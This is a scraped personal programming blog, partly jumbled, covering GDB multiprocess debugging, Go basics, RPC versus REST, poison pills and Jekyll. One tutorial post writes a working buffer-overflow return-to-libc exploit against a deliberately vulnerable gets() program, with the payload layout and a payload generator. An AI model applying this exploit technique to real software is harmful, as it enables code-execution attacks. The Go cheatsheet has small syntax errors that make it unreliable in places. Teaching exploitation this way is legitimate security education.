../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130 [New process 6147] 0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84 84 else if (0 == (pid2 = fork())) Value returned is $1 = 6147 Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in. GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run (gdb) info inferiors Num Description Executable 3 process 6147 second 2 process 6134 second * 1 process 6127 second Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default. Let’s switch to first program (inferior 2) and let it finish. (gdb) inferior 2 ... (gdb) c Continuing. process 6134 is executing new program: /bin/ls Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done. [Inferior 2 (process 6134) exited normally] Now only two inferiors are left. (gdb) info inferiors Num Description Executable 3 process 6147 second * 2 <null> /bin/ls 1 process 6127 second The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks. (gdb) inferior 3 ... (gdb) finish Run till exit from #0 __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137 0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84 84 else if (0 == (pid2 = fork())) Value returned is $2 = 0 (gdb) n 88 if (-1 == close(pipefd[1])) { (gdb) n 94 if (-1 == dup2(pipefd[0], STDIN_FILENO)) { (gdb) n 98 run(program2); (gdb) n The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check. ^Z Program received signal SIGTSTP, Stopped (user). 0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 in ../sysdeps/unix/syscall-template.S (gdb) shell ls -l /proc/6147/fd total 0 lr-x------ 1 parallels parallels 64 Feb 3 16:37 0 -> pipe:[91298] lrwx------ 1 parallels parallels 64 Feb 3 16:37 1 -> /dev/pts/25 lrwx------ 1 parallels parallels 64 Feb 3 16:37 2 -> /dev/pts/25 lr-x------ 1 parallels parallels 64 Feb 3 16:37 3 -> pipe:[91298] Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug! Just to make sure our guess is correct, let’s examine open file descriptors in parent process. (gdb) inferior 1 [Switching to inferior 1 [process 6127] (second)] [Switching to thread 1 (process 6127)] #0 0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84 84 else if (0 == (pid2 = fork())) (gdb) c Continuing. ^Z Program received signal SIGTSTP, Stopped (user). 0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31 31 ../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory. (gdb) shell ls -l /proc/6127/fd total 0 lrwx------ 1 parallels parallels 64 Feb 3 16:29 0 -> /dev/pts/25 lrwx------ 1 parallels parallels 64 Feb 3 16:29 1 -> /dev/pts/25 lrwx------ 1 parallels parallels 64 Feb 3 16:29 2 -> /dev/pts/25 lr-x------ 1 parallels parallels 64 Feb 3 16:29 3 -> pipe:[91298] l-wx------ 1 parallels parallels 64 Feb 3 16:29 4 -> pipe:[91298] And we know the pipe is indeed not closed in parent process. This leads us to third version. The third version In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate. The third version is here. Now let’s test the program again. gcc -o third third.c ./third /bin/ls /usr/bin/sort And here is the result on my machine, README.md first.c second.c third third.c Run two programs succeeded! which is the same as the result of terminal. Conclusion In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment. We learnt C and Unix skills pipe fork waitpid dup GDB skills catch inferior

  • Concurrency vs. Parallelism

    Quoted from Go Concurrency Patterns. What is Concurrency Programming as the composition of independently executing processes. What is Parallelism Programming as the simultaneous execution of (possibly related) computations. Concurrency vs. Parallelism Concurrency is about dealing with lots of things at once. Parallelism is about doing lots of things at once. One is about structure, one is about execution. Concurrency provides a way to structure a solution to solve a problem that may (but not necessarily) be parallelizable.

  • Exception handling: panic/exception v.s. return error

    There are two common ways to handle errors: throw exception e.g. panic in Golang return error code return 0 or -1 in Unix system calls Here is one point of view to decide which method to go with. The rule is simple: if your function is in any way likely to fail, it should return an error code. When I’m calling some other package, if it is well written I don’t have to worry about panics, except for, well, truly exceptional conditions, things I shouldn’t be expected to handle. To know more. Here is a short discussion by Ross Cox, where he suggested these two articles: Cleaner, more elegant, and wrong Cleaner, more elegant, and harder to recognize

  • A cheatsheet on basic of Go language

    Quoted from: Getting Started A Tour of Go How to Write Go Code Cheatsheet 0.Entry point Go program starts from package main. 1.Export Capitalized function is exported. Non-capitalized function isn’t exported. 2.Variable type is at end of declaration. var a int = 3 a int := 3 3.Basic types. bool, string int int8 int16 int32 int64 uint uint8 uint16 uint32 uint64 uintptr byte // alias for uint8 rune // alias for int32, represents a Unicode code point float32 float64 complex64 complex128 4.Output type of a variable. printf("%T", variable) 5.Type conversion/casting. new_type(variable) 6.const const name = value 7.Group of definition or import. var/const ( x = 1 y = 2 ) import ( "package 1" "package 2" ) 8.Function with multiple return value. func name(x int, y int) (int, int) { return 1, 2 } 9.Switch 1 Switch use fallthrough as key word to let two consecutive cases run sequentially. In Go, we don’t use break key word to terminate switch cases, they stop automatically. 10.Switch 2 Value of switch case could be any type, even function value is okay. Using switch without a condition is okay, then the switch case takes some boolean value, this is useful for concise if-else combination. 11.Defer The deferred call’s arguments are evaluated immediately, but the function call is not executed until the surrounding function returns. When there are multiple defer functions, they are stacked in a FILO pattern. 12.Pointer Pointer is like c-style, but do not support pointer arithmetic. 13.Struct type Name struct { x int y int } name := Name{x:1, y:2} name.x p = &name p.x is okay! 14.Array var name [10]int name := [3]int{1,2,3} name := […]int{1,2,3} //same effect as previous statement len(name) cap(name) //capacity 15.Slice Slice is similar to array, but more flexible! Array is fixed sized, while size of slice could be modified. It is built on top of array, which is very similar to list in Java. Internal of slice is a pointer to a position in an array, the length, the capacity. Slice could be create by make name := make([]int, length) name := make([]int, length, capacity) name := make([]int, 0, 5) //an array with capacity 5 and length 0, initialized all value 0 or by slicing an array or slice name[1:3] //have value at position 1,2. name could be an array or slice name[1:] When creating slice by slicing, the data is not copied! just modify the pointer And notice, when slicing, the length is determined by slice range, but the capacity is determined by maximum range which is from slice range begin to end of underlying array. Notice, this may cause problem because we may only need part of the array, but we are keeping the whole array in memory. So sometimes it would be better to copy that part, or other method such as append part of array to a nil array, to let garbage collector reclaim those memory. https://blog.golang.org/go-slices-usage-and-internals 16.Slice is initialized as nil var name []int name == nil //true len(name) //0 cap(name) //0 17.Slice copy/append Slice could be copied between different lengthy, or even underlying overlapped slices. copy(destination, source) this will copy elements of smaller number in source and destination. var name = []int{1,2,3} append(name, 1, 2, 3) var name2= []int{4,5,6} append(name, name2…) //could append another slice. notice the … would unwrap the second slice 18.Array/slice range A convenient way to iterate element in array and slice. for index, value := range arrayName { //notice value is a copy of the element } Could skip the value, then for index := range arrayName {} Or could skip index, then for _, v := range array {} 19.Map Map must be created using make. var name = make(map[key_type] value_type) var map = make(map[string] int) Or could be initialized like JSON. var map = make(map[string] int) { "key1":10, "key2":20, //notice the commas is necessary! } Map operation is usual. map[key] = value value, ok = map[key] //ok is true if key exist delete(map, key) for key, value := map { //iterate map } 20.Function as first class Could pass function as a parameter. func name(fn func(x, y int) int) int {} Notice all function argument is value copy. Not reference. Also, function has closure. 21.Class Go doesn’t have built-in class. But we could use function to help variable to act like a class. We should assign a receiver type to a function, then any variable of this receiver type could call this function. So it looks like the receiver type is a class, variable is an object, and the function is a member function. var (f MyFloat) Abs() float64 {}//MyFloat is receiver type var Abs(f MyFloat) float64{} //function-wise same But receiver could only be type defined in the same package. So could not set receiver as built-in type, including int, float etc. Receiver could be pointer. This does not require the variable calling this function to be a pointer. It means the value of receiver is not copied to the function, instead a reference is given so that the function could modify the value of receiver. Though use a pointer as receiver variable to call function is recommended! var (f *MyFloat) Abs() {} //now Abs could directly modify f in its body All methods on a given type should have either value or pointer receivers, but not a mixture of both. (This is a design matter) 22.Interface type name interface { functionName(argument) return_type } name x could be any type that support the function. Empty interface acts like void* in C language. var i interface{} //empty interface, i is nil after created i = “aa" i = 43 //both are correct Because the interface could be assigned to any concrete variable, sometimes we want to know what’s underlying concrete type. var i interface{} = "hello" s := i.string //s will be “hello" f := i.float64 //run time error f, ok := i.float64 //no error, ok would be false 23.Switch 3 Switch could be used to switch types. switch v:= i.(type) { case T: case S: default: } 24.Stringer interface A built-in interface, similar to toString() in Java. type Stringer interface { String() string } 25.Error Every built-in function return an error as last parameter. return_value, err = function_name() if err == nil {} else {} 26.IO Reader Reader is an input stream. import { "io" "strings" } r := strings.NewReader("Hello, Reader!") b := make([]byte, 8) n, err := r.Read(b) if err == io.EOF { break } 27. Routine Routine is like thread in other languages. You run a function in another thread. go fun_name(parameters) This starts a new goroutine/ light-weight thread. The parameters are evaluated when executing this line, i.e. current goroutine, but execution of the function is happen in the new goroutine, i.e. in the future. These go routines run in same address space, so that access to shared memory need synchronized. 28.Rendezvous channel Rendezvous means synchronized. A rendezvous channel is a channel without defining size, so that the sender and receiver would be synchronized all the time. var channel = make(chan int) channel <- v //offer v into channel, block until v is taken from receiver v := <- channel //take v from channel, block until sender offer a value into channel 29.Buffered channel Buffered channel is channel with a defined capacity. So the sender and receiver could act like producer consumer model, where the channel acts like a queue with fixed size. var channel = make(chan int, capacity) channel <- v //sender be blocked when channel full v := <- channel //receiver blocked when channel empty cap(channel) //capacity 30.Channel close and check Sender could and only sender should close channel close(channel) Receiver could check whether channel is closed by v, ok := <- channel A channel could be iterated using range. for i:= range(channel) { //i is element in channel } when channel is closed, this iteration will stop. 31.Select Select a random executable statement to run. Notice each case statement should interact with a channel. select { case c <- x://executable when channel is not full case <- c: //executable when channel is not empty default ://executable when channel is neither full nor empty } 32.sync.Mutex Go provide built-in mutex acting as lock. Though it suggests design pattern to do concurrency without locks. mux sync.Mutex mux.Lock() //do something mux.Unlock() 33.Share memory by communicating Don’t communicate by sharing memory; share memory by communicating. Go blog: shareemem codewalk A naive interpretation: Do not use lock and shared memory, as a method to communicate among threads. Instead, use channel as communication tool, and share data among threads without lock. 34.Go syntax A good post talking about why’s the similarity and difference between Go syntax and C syntax. Go blog: Go’s declaration syntax 35.Defer, panic, recover A defer statement pushes a function call onto a list. The list of saved calls is executed after the surrounding function returns. Defer is commonly used to simplify functions that perform various clean-up actions. A deferred function’s arguments are evaluated when the defer statement is evaluated. Deferred function calls are executed in Last In First Out order after the surrounding function returns. Deferred functions may read and assign to the returning function’s named return values. This is convenient for modifying the error return value of a function Panic is a built-in function that stops the ordinary flow of control and begins panicking. When the function F calls panic, execution of F stops, any deferred functions in F are executed normally, and then F returns to its caller. To the caller, F then behaves like a call to panic. The process continues up the stack until all functions in the current goroutine have returned, at which point the program crashes. Panics can be initiated by invoking panic directly. They can also be caused by runtime errors, such as out-of-bounds array accesses. Recover is a built-in function that regains control of a panicking goroutine. Recover is only useful inside deferred functions. During normal execution, a call to recover will return nil and have no other effect. If the current goroutine is panicking, a call to recover will capture the value given to panic and resume normal execution. Go blog: defer panic and recover 36.Test Go provides a built-in test platform. The convention is: Within the package, have a go file named XXX__test.go Within this go file, have functions named TestXXX.go The test function should have format as func TestXXX(t *testing.T) {} Import package "testing" Use test functions to indicate error. This including t.Error t.Errorf t.Fail

  • Talking within Distributed System

    What’s different between communication in distributed system and local machine. Two most popular way to communicate within a distributed system, i.e. message passing and RPC, and analyzed the advantages and disadvantages of them. Two most successful protocol using these two communication idea, i.e. RESTful and Thrift. Why talking within distributed system is different from local machine? In a local machine, when process A is communicating with process B, it could be done in a synchronized fashion guaranteed by electrical circuit or the so-called bus built in your laptop or server. So the delivery time is always constant, corresponding to several clock cycles. The fundamental difference of distributed system and local machine is due to network unreliability. When machine A is sending message to or call function at machine B, there is not such bus connecting them so that they could only communicate through network. So either machine A get an acknowledgement message and it could be sure that machine B receive the message, or it has to wait indefinitely since it could never tell whether the message is lost or it is network congestion. So it is the case that I know what I know, but I don’t know what others know, and I don’t know what others know others know… An example Through the next of this post, we will examine a simple common example distcp. So the semantic of distcp is the same as cp (copy) method, it copies data from one location to another. More specifically, when machine A runs distcp path1/file path2, it copy file from path1 to path2. Message Passing So message passing is actually the most straightforward and also most widely used way to implement distributed system communication (think about Internet!). Message Passing defines two basic method, send() and receive(). It sends the whole information including operator (in our case it is distcp) and operands (in our case it is file and path) through network. And when receiver receives the message, it lookups the operator and finds corresponding local method and then finishes the job. Advantages It is straightforward/user-friendly. Disadvantages However, despite the good point of message passing, this method leaves a lot of burden to application programmer. A common message passing is very like this: On sender’s side: MessageFactor.createMessage("distcp").setArgument(0, "path1/file").setArgument(1, "path2").send(ip of machine B) On receiver’s side: operator = receive().getOperator(); switch(operator) { case "distcp": copy to path; break; } There are two obvious problem. 1.Programmer needs to do lots of work to control the logic, especially on receiver’s side. 2.The program could not make use of compile check to make sure the sending message is correct. This significantly increase the possibility of runtime error. Remote Procedure Call (RPC) So to reduce the burden of programmers and make our program more predictable, RPC is a good idea. The core idea of RPC is to provide an interface for both local and remote procedure call, so that programmer could call remote function just like call local function. So the RPC way of our function is very like to be this: register_path("path1", ip of machine A); register_path("path2", ip of machine B); dist("path1/file", "path2"); And it is done! How to find the file and how to bind the data is left to RPC service. After binding the path and machine, the programmer doesn’t need to worry about the whole logic. Moreover, now we could at compile time check whether the programmer provides exactly two arguments , reducing runtime error. Also, it a lot of distributed system, e.g. Hadoop platform, there’s a master machine to take care of path binding, so the two register_path method could be avoided as well! Note To understand how the RPC service is implemented, I encourage you to further read some posts online or this paper Implementing remote procedure calls by Andrew and Bruce. Advantages 1.RPC provide the abstraction of procedure call so that programmers could use these services easily just as using local methods. 2.It also helps reducing runtime errors. Disadvantages Now RPC may seems really attracting, it has one important disadvantages compared to message passing – the service itself is much complicated. Yes, the user/programmer is relieved from handling logic and data binding themselves, but the API provider/RPC service provider need to do a lot of work, including defining interface, implementing logic etc. The complication is significant when testing some new functions, since the API may change frequently during development. Real World Implementation Now we scratched the surface of both two common communication ways, how and when do we prefer one to the other? Let’s see two most widely used communication protocol in web service today. RESTful I’m not going to talk about what is RESTful. I assume you have already know what it is and hopefully you have used it several times in your previous projects. RESTful is a good example using the idea of message passing. For send() method, it supports four operators, i.e. GET, PUT, POST and DELETE, and nearly unlimited number of operands (within bound of network limit of course). And receive() method is handled by HTTP request. Advantages 1.Lightweight. Since RESTful API is often used for implementing CRUD operations in database, so the message is generally short. 2.User-friendly. RESTful has same semantics with HTTP request, thus learning curve of RESTful is almost zero degree! 3.Language/Platform independence. Since RESTful is nothing but HTTP request, it has no constraints on language or system platform. Disadvantages The disadvantage of RESTful stems from HTTP protocol itself. One thing is RESTful does not support basic method other than HTTP’s methods. Although one could put operator inside body of HTTP request, but that would lose the lightweight property of RESTful. Another disadvantage is HTTP request is expensive. Each HTTP request is generally a blocking process, harming the scalability of system. (This is said be overcome in HTTP 2.0, I’m not quite familiar with HTTP 2.0, but this disadvantage holds for HTTP 1.1). Thrift My understanding of Thrift may not be correct and well-rounded, since I haven’t use Thrift a lot. But generally, Thrift is a protocol based on RPC so that to simplify remote call process and with goal of a fast, reliable and safe communication. To use Thrift, you need first define the RPC interface using Interface Definition Language (IDL). This interface is a constraint that both server and clients using the method should follow. After you defined the interface, it is Thrift that will take care of the underlying communication and compile time checking. Advantages 1.Provide compile time checking. Thrift is much stricter than RESTful, but the goodness is it could help avoid lots of small errors. 2.It is faaaaast. RPC generally take advantages of UDP protocol and binding acknowledgement message with next request to avoid overhead and amount of exchanging data. Disadvantages It is obvious that Thrift is way complicated than RESTful API. It also doesn’t have a universal method name (e.g. GET in RESTful). Therefore developers need to first learn the interface of different Thrift library then could they move on. Discussion So how to choose among them? Like most design in computer science, there is no absolute yes or no to choose one protocol rather than the other. It has been a consensus that, generally, when developing light-weight api, especially those similar with CRUD operations, and when your api is used by lots of users, then RESTful may be better choice. While developing api that is internally used, or logically complicated, or fast is your first priority, then Thrift may be better. In comparison these protocol, here is a great article by Kristopher Sandoval. I quote part of the article here, but you should definitely read through that great post. REST, on the other hand, is like a pre-paid postcard. You’ve forgone the envelope in favor of a lightweight, succinct delivery device that is easy to interpret and handle, with your message quickly scribbled on the back. The postcard uses less material (bandwidth), is typically shorter in content, and might actually get to your neighbor faster because there’s less bulk to move around. Thrift is like a megaphone. When you point the megaphone at your neighbor, he implicitly knows you’re upset about something — and that you’re going to say it specifically to him. He knows what to do with the information, because the reaction a human has to a megaphone is pretty universal (assuming, of course, that your megaphone is louder than his drums). The message is sent in a lightweight but forceful manner that depends entirely on the receiver to properly process it, in this case your neighbor.

  • Secure Threats -- Buffer Overflow Attack -- Level 0

    Our software system is far from robust and safe. This post talks about a basic attack, namely Buffer Overflow, that could shoot down a software system which seems robust at first glance. Pre-requisite The first pre-requisite is quite easy to catch up, but the second and third ones are fundamental pre knowledge. Familiar with C language. (This series would use C program as example.) And know how to use a gdb to debug C program. Familiar with basic assembly language and be able to read assembly language. (No need to good at writing them!) Know what’s a heap, stack, shared library and basically how program is mapped into memory. Or if you could understand what this figure is talking about. (Computer System : A Programmer’s Perspective 2nd) Buffer Overflow Attack Great, now you are ready to hack a system, and I’m showing you a way. What is Buffer Overflow Buffer Overflow is an attack/hacking solution that takes advantage of such a vulnerability: when a victim host is trying to receive a message from an attacker, it doesn’t check the length of in-coming message, so the message could be arbitrary long and, as a result, overwrite some part of victim host’s stack memory and make the hack. An Example (Your first hacking attack!) To make this clearer, let’s see a typical example. /* basic.c */ #include <stdlib.h> #include <stdio.h> #include <string.h> /* server code, I'm victim */ int main(int argc, char** argv) { char buf[16] ; printf("Hi, I'm server.\n"); gets(buf); printf("you entered: %s\n", buf); return 0; } This piece of code seems okay at first glance, but the reason it suffers from a buffer overflow attack is the use of this gets function. Basically gets copy string from standard input to buf. To understand why this is a problem, we need to look inside the program to know what is happening underneath. Yeah, I mean to read some assembly code. By running following script, gcc -o basic basic.c -m32 objdump -d basic we could get assembly code of basic. (Note we add a -m32 here to compile it to a 32-bit version) 08048480 <main>: ...... 8048495: 8d 44 24 10 lea 0x10(%esp),%eax # some padding 8048499: 89 04 24 mov %eax,(%esp) # put this address as argument for gets function 804849c: e8 9f fe ff ff call 8048340 <gets@plt> ...... I’m not going to talk about what exactly these assembly do. They are pretty straightforward if you have some experience with assembly language and also notice I add some comments to help you catch the idea. Now is key point. Then what gets function does is it go through standard input and copy byte by byte to buf until it met a null terminator. However, the gets function doesn’t check input length! So what if we input a very long sentence? -bash-4.2$ echo "a verrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrry long sentence" | ./basic Hi, I'm server. you entered: a verrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrry long sentence Segmentation fault (core dumped) The problem is the input is too long so that it override some part of original stack. This could be a disaster since stack is used to keep important variable value. And this is why this kind of attack is called Buffer Overflow Attack. To do a real attack To do a real attack, i.e. let the program do something you intend it to do, rather than just crash, we need more work and more analysis. Analysis By using gdb (gdb) b *0x804849c Breakpoint 1 at 0x804849c (gdb) r Starting program: basic Hi, I'm server. Breakpoint 1, 0x0804849c in main () (gdb) i r esp esp 0xffffd210 0xffffd210 (gdb) x/wx 0xffffd210 0xffffd210: 0xffffd220 we could find right before gets is called, esp is pointing to 0xffffd220, which means our input message will be written to this address. Also, if we set breakpoint at beginning of main function, (gdb) b *0x0x8048480 Breakpoint 2 at 0x8048480 (gdb) r Starting program: basic Breakpoint 2, 0x08048480 in main () (gdb) i r esp esp 0xffffd23c 0xffffd23c we could find return address for main function is saved at 0xffffd23c. Did you find the secret? The offset between the return address and the address we are going to write is only 0xffffd23c - 0xffffd220 = 0x1C = 28. This means if our input message is 28 characters or more, then we could overwrite the return address of main function! And let’s remind what return instruction does. It puts the value pointed by esp to eip, increment esp by 4 bytes, and execute the code pointed by eip. So this means if we change the value of return address, we could let program go to some surprised place and execute some surprised code! Moreover, if we construct our input message using executable code and let the return address go to our code, then we could let program do whatever we want! And this closes our analysis! Bravo! Sum up Let’s put the pieces together. To do a basic buffer overflow attack, we need to… 1.Find the address where your input message is going to write. 2.Find the most recent return address that is larger than the address in point 1. 3.Carefully calculate the offset of these two addresses and design your input message so that they could be executed by CPU to do some surprisingly fun job. Let’s Hack Our ‘Not-so-Robust’ Program The normal execution of basic program is prompt exactly same thing as we input. Now we would like it to print I'm hacked! in a funny way. To print something, we still need the built-in print function in stdlib. Take a look at assembly code again, (gdb) p &printf $2 = (<data variable, no debug info> *) 0xf7e32f60 <printf> To print something, we need to make sure esp is pointing to what we want to print (i.e. I'm hacked! in this case), and then call printf function! The input message should be like this: [several padding to return address] – [address to printf] – [pointer to hacking message] To call the printf function is easy, we just need to overwrite the return address in main function with printf address, which we’ve already figured out as 0xf7e32f60. Then where is the hacking message? Remember the printf function print message out until it find a null terminator. Therefore we could not put the hacking message at front of input message and followed by the padding, since in this way we would print rubbish that we don’t want to. So we have to put them at the end of input message. Thus, the input message should be like this: [several padding to return address] – [address to printf] – [pointer to hacking message] – [hacking message] One last thing, we need some padding at after return to printf, this is because we use printf function not by “call” but by “return”. As we analyzed before, just before call printf, we make sure esp pointing to message we want to print out. But when we use “return” to call a function, it first put esp to eip and then pop esp so that esp will move up by 4 bytes. Also, the value in this padding is the return address after return from printf, i.e. the program will try to execute code at the position of this padding value. So we could put an exit here to let the program stop. (gdb) p &exit $5 = (<text variable, no debug info> *) 0xf7e17b10 <exit> Okay! Let’s hack it! We know… The address we are going to write from is: 0xffffd220 The original return address is at: 0xffffd23c The return address need to overwrite as 0xf7e32f60 The exit address is 0xf7e17b10 And we put hacking message at the end: I'm hacked! So, what we need is: 0xffffd220 : 28 \x90 as padding …… 0xffffd23c : 0xf7e32f60 address to call printf 0xffffd240 : 0xf7e17b10 address to exit, also as padding 0xffffd244 : 0xffffd248 pointer to printing message 0xffffd248 : I'm hacked! Another important thing we need to keep in mind is, our system is generally small-endian. This means instead of 0xf7e32f60 as is human readable, we need to put 0x602fe3f7 in our input message. The same thing holds to 0xffffd248 and 0xf7e17b10. So, based on all these analysis. We get our input message: 28 \x90 0x602fe3f7 0x107be1f7 0x48d2ffff I'm hacked! To generate the text we could have a helper program hack /* basic hack.c */ #include <stdio.h> int main(int argc, char** argv) { int i = 0; //padding for(i = 0; i < 28; i++) { printf("\x90"); } printf("\x60\x2f\xe3\xf7");//address to printf printf("\xa1\x83\x04\x08");//address to exit printf("\x48\xd2\xff\xff");//address to print message printf("I'm Hacked!\n"); return 0; } Then compile it and save to a file hack.txt -bash-4.2$ gcc -o hack hack.c -bash-4.2$ ./hack > hack.txt Finally use gdb to test it! (gdb) r < hack.txt Starting program: basic < hack.txt Hi, I'm server. you entered: ????????????????????????????`/{H?I'm Hacked! I'm Hacked![Inferior 1 (process 41057) exited with code 0111] Note At the end of output, it says program exited with code 0111. This means program doesn’t exit normally. This is because the exit function also use esp as exit code, but in our program esp saves address to message. To overcome this problem, we need to use ROP(Return-Oriented-Programming) technique. See following posts! Last but not least. If you test this attack without gdb, you’ll get -bash-4.2$ ./basic < hack.txt Hi, I'm server. you entered: ????????????????????????????`/{H?I'm Hacked! Segmentation fault (core dumped) This is because the so-called ASLR(Address Space Layout Randomization) defense technique. We’ll talk about how to overcome this defense in following posts. And this ends the very basic Buffer Overflow Attack. Hope you enjoy it!

  • Poison Pill

    How do producer(s) notify consumer(s) to stop? The producer can not simple kill the consumer, since there may be some jobs still in the queue. One solution is use poison pill – a special value to notify consumer(s) the end of service. How it works? The idea is extremely simple. When producer wants to stop the service, it sends a special message (poison pill) into the queue and stops it self, when consumer gets this message, it closes it self as well. What if multiply producers and multiply consumers? If only one producer and consumer, then it’s totally fine. If there are several producers and one consumer, each producer could send a poison pill to consumer and stop itself. When consumer gets same number of poison pills, then it stop running. If there are one producer and several consumers, then producer send poison pills of same number as consumers to queue. Each consumer stops itself when get a poison pill. If there are multiple producers and multiple consumers, then each producer send poison pill of same number as consumers to queue. Each consumer stops itself when get poison pills of same number as producer. What is the problem? This solution suppose producers and consumers know the quantity of each other. Also, if we have N producers and M consumers, then number of poison pills will be N*M, which could be large. Alternative Solution One alternative solution is we relax the constraints so that consumers could also offer messages into queue, but only when it is trying to stop the whole service. On producers’ side, when all producers are going to leave the service, the last producer send a poison pill to the queue. This could be done by several ways, one way is to elect a leader so the leader send the poison pill and then every producer leaves. On consumers’ side, when any of consumers get a poison pill, it first the poison pill back to queue and leave the service. So that all consumers will finally leave the service. This solution is based on that producers know each other, and consumers know each other, but producers and consumers don’t know each other, which makes more sense in real world. Reference “Poison Pill Shutdown” in Java Concurrency in Practice

  • </ul>

    
    We see that instead of using Jekyll's built-in ```post.excerpt``` tag, we use customized filter ```build_preview``` with content of post as input, to create the post preview on home page. The filter ```strip_html``` is used to remove html tags so that the preview could be rendered correctly.
    
    Run Jekyll local server
    
    

    jekyll server ```

    And you should see the change.


    ``` is a variable created by Jekyll, whose value is the actual blog content you composed.

    • In``````, the | is just like Unix pipe supporting casacading operations.
    • In ``````, the : v1, v2 is the input arguments for filter bar.

    Now you may have two questions:

    • The HTML file is incomplete, for example <!DOCTYPE html> etc. are missing,
    • The first three lines of post.html is mistery,

    so let’s move on.

    The complete layout

    At this point, you may be wondering what the heck is that on top of the file:

    ---
    layout: default
    ---
    

    Jekyll use YAML to manage meta data of your web pages. This layout: default tells Jekyll to search for default.html in directory _layout, and then **replace the placeholder ```

    Blog with Jekyll for beginners

    Posted on February 10, 2017 Updated on February 10, 2017

    This article

    • shows how to build a simple blog website with Jekyll from scratch (you could also build your blog on top of others once you learnt the essential skills)
    • use Liquid and Jekyll plugin to customize article previews front matter
    • example blog

    example-blog

    Pre-requists

    • Basic understanding of HTML, CSS, JS and their relations
    • Ruby experience or other programming experience to pick up Ruby quickly (< 3 mins)
    • Mac (if you’re using aother platform, please change the commands accordingly)

    Build your blog with Jekyll

    Install Jekyll

    Remember all the commands are only tested on Mac OS.

    gem install jekyll
    

    Set up environment

    Navigate to the directory you want your blog be put to. In my case, I will choose /tmp so that it won’t miss up my whole system.

    > cd /tmp
    > jekyll new my-blog
    New jekyll site installed in /private/tmp/my-blog.
    

    By running the last command, you have created a directory organized in a way that Jekyll could create static website from.

    Create a post

    Before all, let’s remove default files Jekyll created for us. In this article, we will use much simpler layouts, but the idea is the same.

    > mkdir /tmp/blog-backup
    > mv _includes/* _layouts/* _posts/* css/* _sass/* index.html about.md /tmp/backup/
    

    Layout

    Post layout

    Now let’s create a layout for your blog posts. A layout is same as a template. You could think about it like creating a Pointer Point / Keynote. For each slide, it has a structure, e.g. a title and a body text, and what you need to do is only fill in the content.

    Jekyll is great to separate layout/template from contents.

    We create layout using HTML, CSS, JS and Liquid. In the layout, we put some special marks as placeholders, so that the content could be inserted by Jekyll and Liquid.

    Once you have created the layout, you could focus on contents and Jekyll will put them together and render the website.

    This may sound abstract, let’s have a dry run!

    > cd my-blog
    > vim _layout/post.html # Or use your favorite text editor to create _layout/post.html
    

    This is the simple post HTML.

    ---
    layout: default
    ---
    <div>
    	<header>
    		<h1>Blog with Jekyll for beginners</h1>
    		<p>Feb 10, 2017</p>
    	</header>
    
    	<article>
    		<!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
